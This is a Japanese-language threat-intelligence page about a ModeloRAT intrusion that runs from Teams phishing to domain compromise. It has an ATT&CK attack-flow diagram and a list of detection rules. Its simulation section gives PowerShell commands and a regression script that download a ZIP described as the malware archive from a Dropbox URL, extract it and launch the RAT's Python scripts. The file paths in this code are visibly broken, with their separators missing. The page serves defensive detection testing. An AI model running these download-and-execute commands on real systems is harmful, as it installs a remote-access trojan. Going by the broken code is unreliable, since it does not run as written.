SOC Prime Bias: 重大

15 May 2026 13:24 UTC

Teams のフィッシングからドメイン侵害までの ModeloRAT キャンペーンを解剖

Author Photo
SOC Prime Team linkedin icon フォローする
Teams のフィッシングからドメイン侵害までの ModeloRAT キャンペーンを解剖
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

Rapid7は、ITサポートを装った悪意のあるMicrosoft Teamsメッセージから始まる侵入を分析しました。攻撃者はDropboxにホストされたPythonペイロードを使用してModeloRATを展開し、次の手段で権限を昇格させました。 CVE-2023-36036、そして被害者に偽のロック画面を提示することでドメインの資格情報を盗むというものでした。このキャンペーンは、攻撃者が単一の侵害されたエンドポイントから、ドメイン全体の資格情報の盗難までどれだけ迅速に拡大できるかを示しました。また、コラボレーションプラットフォームが初期のアクセスベクターとしてもたらす日増しに増加するリスクも浮き彫りにしています。

調査

調査は、最初のTeams会話から始まる攻撃チェーン全体に従い、DropboxからZIPアーカイブをダウンロードし、ポータブルPython環境を展開し、次を起動しました: collector.py and Pmanager.py。その後、ModeloRATは複数のコマンドアンドコントロールサーバーにHTTPビーコニングを確立し、ホスト偵察を実行し、次を使用して rundll32 でカーネルエクスプロイトを引き起こし、SYSTEMレベルのアクセスを得ました。持続性はスケジュールされたタスクを通じて維持され、侵入中に攻撃者は追加のバックドアコンポーネントを配備しました。

軽減策

組織は、Microsoft Teamsにおける外部アクセスを厳重に制限し、異常なPowerShellとPythonの活動を監視し、既知の悪意のあるDropbox URLをブロックし、を引き続きパッチ適用していることを確認すべきです。 CVE-2023-36036。許可されていない rundll32 使用を制限するアプリケーションコントロールポリシーは、攻撃リスクを軽減するのに役立ちます。セキュリティチームはまた、偽のロックスクリーンの振る舞いや他の資格情報収集活動の兆候をエンドポイントで監視すべきです。

対応

この活動が検出された場合は、影響を受けたエンドポイントを直ちに隔離し、侵害されたユーザーの資格情報を取り消し、影響を受けたドメインのパスワードをリセットします。調査者は完全なメモリキャプチャを収集し、必要に応じてLSASS関連の証拠を含め、ModeloRATのアーティファクトを探し、悪意のあるスケジュールタスクや持続性のメカニズムを除去するべきです。Teamsのテナント設定も確認され、外部チャットが業務的に必要でない場合は無効にされるべきです。

"graph %% クラス定義 classDef action fill:#ffcccc classDef tool fill:#cce5ff classDef malware fill:#e6ffcc classDef process fill:#ffd9b3 classDef file fill:#f2e6ff %% アクションノード action_phishing["<b>アクション</b> – <b>T1566.003 フィッシング:サービス経由</b><br/>ITサポートを装った悪意のあるリンク付きMicrosoft Teamsメッセージ。"] class action_phishing action action_impersonation["<b>アクション</b> – <b>T1656 なりすまし</b><br/>正当なように見せかけた偽のITサポートアカウント。"] class action_impersonation action action_content_injection["<b>アクション</b> – <b>T1659 コンテンツのインジェクション</b><br/>PowerShellコマンドを含むメッセージが感染チェーンを開始。"] class action_content_injection action action_user_execution["<b>アクション</b> – <b>T1204 ユーザー実行</b><br/>リンクをクリックまたはPowerShellステージャをコピー&ペースト。"] class action_user_execution action action_software_discovery["<b>アクション</b> – <b>T1518 ソフトウェアの検索</b><br/>collector.pyがインストール済みソフトウェア、パッチ、構成を列挙。"] class action_software_discovery action action_security_discovery["<b>アクション</b> – <b>T1518.001 セキュリティソフトウェアの検索</b><br/>スクリプトがSecurityHealthHost.exeなどのAVプロセスをチェック。"] class action_security_discovery action action_system_info["<b>アクション</b> – <b>T1082 システム情報の検索</b><br/>systeminfo、whoamiなどのコマンドがホストの詳細を収集。"] class action_system_info action action_dll_loading["<b>アクション</b> – <b>T1176 ソフトウェア拡張</b><br/>rundll32.exeが悪意のあるDLL(ssss.dll、com6848.dll)をロード。"] class action_dll_loading action action_priv_esc["<b>アクション</b> – <b>T1068 権限昇格のためのエクスプロイト</b><br/>cldflt.sysのCVE-2023-36036をエクスプロイトしてSYSTEMトークンを取得。"] class action_priv_esc action action_defense_evasion["<b>アクション</b> – <b>T1211 回避のためのエクスプロイト</b><br/>カーネルエクスプロイトがセキュリティ制御をバイパス。"] class action_defense_evasion action action_persistence_active_setup["<b>アクション</b> – <b>T1547.014 アクティブセットアップの持続性</b><br/>SyncRootManagerのレジストリキーが悪意のあるクラウド同期プロバイダを登録。"] class action_persistence_active_setup action action_event_triggered["<b>アクション</b> – <b>T1546 イベントトリガーされた実行</b><br/>同期プロバイダがイベントトリガーされた持続性メカニズムとして機能。"] class action_event_triggered action action_scheduled_task["<b>アクション</b> – <b>T1053 スケジュールされたタスク</b><br/>毎日タスクTempLogAがSYSTEM権限でinternal.pyを実行。"] class action_scheduled_task action action_path_interception["<b>アクション</b> – <b>T1574.007 パスのインターセプション</b><br/>ポータブルPythonディレクトリが実行を確実にするためにPATHの早期に配置される。"] class action_path_interception action action_c2_http["<b>アクション</b> – <b>T1071.001 アプリケーションレイヤープロトコル:ウェブプロトコル</b><br/>ModeloRATがHTTPポート80を介してC2サーバーと通信。"] class action_c2_http action action_nonstandard_port["<b>アクション</b> – <b>T1571 非標準ポート</b><br/>追加のリバースシェルチャネルがポート50508および60503を使用。"] class action_nonstandard_port action action_winrm["<b>アクション</b> – <b>T1563 リモートサービスセッションハイジャック</b><br/>攻撃者がツール配備のために二つ目のホストへのWinRMセッションを開く。"] class action_winrm action action_rdp["<b>アクション</b> – <b>T1078.002 有効なアカウント:ドメインアカウント</b><br/>収集した資格情報を使用してRDPログイン。"] class action_rdp action action_kerberoasting["<b>アクション</b> – <b>T1558.003 Kerberoasting</b><br/>サービスチケット要求が資格情報ハッシュを生成。"] class action_kerberoasting action action_os_credential_dump["<b>アクション</b> – <b>T1003 OS資格情報のダンプ</b><br/>DumpIt.exeがLSASSを含むメモリをキャプチャ。"] class action_os_credential_dump action action_unsecured_credentials["<b>アクション</b> – <b>T1552.001 保護されていない資格情報</b><br/>偽のロックスクリーンDLLがキャプチャしたパスワードをディスクに記録。"] class action_unsecured_credentials action action_window_discovery["<b>アクション</b> – <b>T1010 アプリケーションウィンドウの捜索</b><br/>ロックスクリーンレプリカがWindowsロックスクリーンを模倣し、入力をキャプチャ。"] class action_window_discovery action action_bits_job["<b>アクション</b> – <b>T1197 BITSジョブ</b><br/>DumpItがBITSを介してダウンロードおよび実行されます。"] class action_bits_job action %% ツール / ファイル / マルウェアノード tool_powershell["<b>ツール</b> – <b>名前</b>: PowerShell<br/><b>説明</b>: 初期ステージャーコマンドを実行する。"] class tool_powershell tool tool_python["<b>ツール</b> – <b>名前</b>: ポータブルPython (pythonw.exe)<br/><b>説明</b>: collector.pyとPmanager.pyを実行。"] class tool_python tool tool_rundll32["<b>ツール</b> – <b>名前</b>: rundll32.exe<br/><b>説明</b>: 悪意のあるDLLペイロードをロードする。"] class tool_rundll32 tool tool_dumpit["<b>ツール</b> – <b>名前</b>: DumpIt.exe<br/><b>説明</b>: メモリ取得ユーティリティ。"] class tool_dumpit tool malware_collector["<b>マルウェア</b> – <b>名前</b>: collector.py<br/><b>説明</b>: 検出を行い、さらにモジュールを起動する初期Pythonスクリプト。"] class malware_collector malware malware_pmanager["<b>マルウェア</b> – <b>名前</b>: Pmanager.py (ModeloRAT)<br/><b>説明</b>: C2と通信するリモートアクセス型トロイの木馬。"] class malware_pmanager malware file_ssss_dll["<b>ファイル</b> – <b>名前</b>: ssss.dll<br/><b>説明</b>: エスカレーションのためにロードされた悪意のあるDLL。"] class file_ssss_dll file file_com6848_dll["<b>ファイル</b> – <b>名前</b>: com6848.dll<br/><b>説明</b>: 資格情報取得のためにロードされた悪意のあるDLL。"] class file_com6848_dll file file_lockdll["<b>ファイル</b> – <b>名前</b>: lockscreen.dll<br/><b>説明</b>: パスワードを記録する偽のロックスクリーン。"] class file_lockdll file %% 接続 – 攻撃フロー action_phishing –>|uses| action_impersonation action_impersonation –>|delivers| action_content_injection action_content_injection –>|triggers| action_user_execution action_user_execution –>|executes| tool_powershell tool_powershell –>|launches| tool_python tool_python –>|runs| malware_collector tool_python –>|runs| malware_pmanager malware_collector –>|performs| action_software_discovery malware_collector –>|performs| action_security_discovery malware_collector –>|performs| action_system_info malware_pmanager –>|loads| tool_rundll32 tool_rundll32 –>|loads| file_ssss_dll tool_rundll32 –>|loads| file_com6848_dll file_ssss_dll –>|enables| action_priv_esc file_com6848_dll –>|enables| action_priv_esc action_priv_esc –>|provides| action_defense_evasion action_defense_evasion –>|establishes| action_persistence_active_setup action_persistence_active_setup –>|creates| action_event_triggered action_event_triggered –>|creates| action_scheduled_task action_scheduled_task –>|relies on| action_path_interception action_path_interception –>|ensures execution of| malware_pmanager malware_pmanager –>|communicates via| action_c2_http malware_pmanager –>|uses| action_nonstandard_port malware_pmanager –>|opens| action_winrm action_winrm –>|facilitates| action_rdp action_rdp –>|leverages| action_kerberoasting action_kerberoasting –>|provides credentials for| action_os_credential_dump action_os_credential_dump –>|executed by| tool_dumpit tool_dumpit –>|delivered via| action_bits_job action_bits_job –>|supports| action_os_credential_dump action_unsecured_credentials –>|implemented by| file_lockdll file_lockdll –>|captures via| action_window_discovery action_window_discovery –>|writes to| action_unsecured_credentials %% スタイリング class action_phishing,action_impersonation,action_content_injection,action_user_execution,action_software_discovery,action_security_discovery,action_system_info,action_dll_loading,action_priv_esc,action_defense_evasion,action_persistence_active_setup,action_event_triggered,action_scheduled_task,action_path_interception,action_c2_http,action_nonstandard_port,action_winrm,action_rdp,action_kerberoasting,action_os_credential_dump,action_unsecured_credentials,action_window_discovery,action_bits_job action class tool_powershell,tool_python,tool_rundll32,tool_dumpit tool class malware_collector,malware_pmanager malware class file_ssss_dll,file_com6848_dll,file_lockdll file

攻撃フロー

検出

システム列挙の可能性(cmdline経由)

SOC Primeチーム
2026年5月14日

アカウントまたはグループの列挙/操作の可能性(cmdline経由)

SOC Primeチーム
2026年5月14日

schtasks ポイントが不審なディレクトリ/バイナリ/スクリプト(cmdline経由)

SOC Primeチーム
2026年5月14日

不正な外部UNCパス経由でのNTLM資格情報漏洩の可能性(cmdline経由)

SOC Primeチーム
2026年5月14日

PowerShellを使用して不審なディレクトリにアーカイブが展開された(powershell経由)

SOC Primeチーム
2026年5月14日

ADモジュールDirectorySearcherを使用したActive Directory列挙の可能性(powershell経由)

SOC Primeチーム
2026年5月14日

IOC (HashSha256) を検出するために: ITサポートの呼び出し検出時:ModeloRATキャンペーンをTeamsからドメイン妥協まで解剖

SOC Prime AIルール
2026年5月14日

IOC (SourceIP) を検出するために: ITサポートの呼び出し検出時:ModeloRATキャンペーンをTeamsからドメイン妥協まで解剖

SOC Prime AIルール
2026年5月14日

IOC (DestinationIP) を検出するために: ITサポートの呼び出し検出時:ModeloRATキャンペーンをTeamsからドメイン妥協まで解剖

SOC Prime AIルール
2026年5月14日

権限昇格および資格情報取得のための不審なRundll32実行 [Windows process creation]

SOC Prime AIルール
2026年5月14日

悪意のあるPythonスクリプトのPowerShellダウンロードと実行 [Windows Powershell]

SOC Prime AIルール
2026年5月14日

シミュレーション実行

前提条件: テレメトリー&ベースラインのプレ‑フライトチェックが通過していること。

理論的根拠: このセクションは、検出ルールをトリガーするために設計された正確な敵対者技術の実行に焦点を当てている。コマンドと説明は、識別されたTTPに直接反映され、検出ロジックで期待される正確なテレメトリーを生成することを目的としている。

  • 攻撃のストーリーおよびコマンド:

    1. 初期ドロップ: 攻撃者は、被害者のワークステーションに足場を得た後、ドロップボックスにホストされた悪意のあるZIPファイルを取得するためにPowerShellを起動します。このURLは検出ルールでハードコーディングされているので、攻撃者は検出を保証するために全く同じ文字列を使用します(検証の目的で)。
    2. 展開: 組み込みの Expand‑Archive コマンドレットを使用して、アーカイブはユーザーの %APPDATA% フォルダに直接展開されます。この場所は守備側から見過ごされがちです。
    3. ペイロードの実行: 2つのPythonスクリプト—collector.py and Pmanager.py—が pythonw.exe (「ウィンドウなし」インタープリター)を通じて実行され、見えるコンソールウィンドウを避け、目立たない持続性とデータ流出を可能にします。

    正確なコマンド(ルールに一致する必要があります):

    # 1. ZIPアーカイブをダウンロード
    iwr -Uri "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" -OutFile "$env:APPDATAWinp.zip"
    
     # 2. アーカイブを展開
    Expand-Archive -Path "$env:APPDATAWinp.zip" -DestinationPath "$env:APPDATA"
    
     # 3. 最初のPythonスクリプトを実行
    Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythoncollector.py"
    
     # 4. 2番目のPythonスクリプトを実行
    Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythonPmanager.py"
  • 回帰テストスクリプト:

    # -------------------------------------------------
    # 回帰テスト - ModeloRAT PowerShellワークフローの模倣
    # -------------------------------------------------
    $zipUrl = "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1"
    $zipPath = "$env:APPDATAWinp.zip"
    $extractPath = $env:APPDATA
    $pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe"
    $collector = "$env:APPDATAWPy64-31401pythoncollector.py"
    $pmanager = "$env:APPDATAWPy64-31401pythonPmanager.py"
    
    # ダウンロード
    Write-Host "[*] マルウェアZIPをダウンロード中..."
    Invoke-WebRequest -Uri $zipUrl -OutFile $zipPath
    
    # 展開
    Write-Host "[*] アーカイブを展開中..."
    Expand-Archive -Path $zipPath -DestinationPath $extractPath -Force
    
    # collector.pyを実行
    Write-Host "[*] collector.pyを起動中..."
    Start-Process -FilePath $pythonExe -ArgumentList $collector
    
    # Pmanager.pyを実行
    Write-Host "[*] Pmanager.pyを起動中..."
    Start-Process -FilePath $pythonExe -ArgumentList $pmanager
    
    Write-Host "[+] シミュレーション完了。SIEMでの警報確認を行ってください。"
  • クリーンアップコマンド:

    # -------------------------------------------------
    # クリーンアップ - テストで作成されたアーティファクトを削除する
    # -------------------------------------------------
    $zipPath = "$env:APPDATAWinp.zip"
    $extractRoot = "$env:APPDATAWPy64-31401"
    $pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe"
    
    # このテストからのpythonwプロセスを停止
    Get-Process -Name pythonw -ErrorAction SilentlyContinue |
        Where-Object {$_.Path -like "*WPy64-31401*"} |
        Stop-Process -Force
    
    # 抽出されたディレクトリを削除
    if (Test-Path $extractRoot) {
        Remove-Item -Recurse -Force $extractRoot
    }
    
    # ZIPファイルを削除
    if (Test-Path $zipPath) {
        Remove-Item -Force $zipPath
    }
    
    Write-Host "[+] クリーンアップ完了。"